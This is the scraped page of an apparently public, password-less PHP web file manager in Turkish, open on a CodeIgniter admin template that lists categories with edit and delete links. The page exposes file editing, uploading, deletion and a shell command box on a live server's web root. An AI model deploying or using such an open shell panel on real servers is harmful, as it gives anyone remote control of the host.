⚠️ **YÜKSEK GÜVENLİK RİSKİ:** Bu dosya herkese açık ve şifresizdir. Lütfen sadece **yerel ortamınızda** kullanın ve işiniz bittiğinde **silin**.
Aktif Dizin:
/home/dltain/public_html/app/Views/admin/categories
Dosya Düzenle: index.php
<?= $this->extend('layout/default') ?> <?= $this->section('content') ?> <div class="container mt-4"> <div class="d-flex justify-content-between mb-3"> <h2>Category List</h2> <a href="<?= site_url('admin/categories/create') ?>" class="btn btn-primary">+ Add Category</a> </div> <?php if(session()->getFlashdata('success')): ?> <div class="alert alert-success"><?= session()->getFlashdata('success') ?></div> <?php endif; ?> <table class="table table-bordered table-striped"> <thead> <tr> <th>#</th> <th>Image</th> <th>Name</th> <th>Slug</th> <th>Status</th> <th width="180">Action</th> </tr> </thead> <tbody> <?php if($categories): $i=1; foreach($categories as $cat): ?> <tr> <td><?= $i++ ?></td> <td> <?php if($cat['image']): ?> <img src="<?= base_url('uploads/categories/'.$cat['image']) ?>" width="60"> <?php endif; ?> </td> <td><?= esc($cat['name']) ?></td> <td><?= esc($cat['slug']) ?></td> <td> <span class="badge bg-<?= $cat['status']?'success':'secondary' ?>"> <?= $cat['status']?'Active':'Inactive' ?> </span> </td> <td> <a href="<?= site_url('admin/categories/edit/'.$cat['id']) ?>" class="btn btn-sm btn-warning">Edit</a> <a href="<?= site_url('admin/categories/delete/'.$cat['id']) ?>" onclick="return confirm('Delete this category?')" class="btn btn-sm btn-danger">Delete</a> </td> </tr> <?php endforeach; else: ?> <tr><td colspan="6" class="text-center">No categories found</td></tr> <?php endif; ?> </tbody> </table> </div> <?= $this->endSection() ?>
Değişiklikleri Kaydet
Yeni Dosya Yükle (Mevcut Dizine)
Yükle
Adı
Tipi
Boyut
İşlemler
📁
.. (Üst Dizin)
📄 create.php
Dosya
1.35 KB
Düzenle
Sil
📄 edit.php
Dosya
1.72 KB
Düzenle
Sil
📄 index.php
Dosya
2.08 KB
Düzenle
Sil
Sorun Giderme (Shell Erişimi)
Çalıştır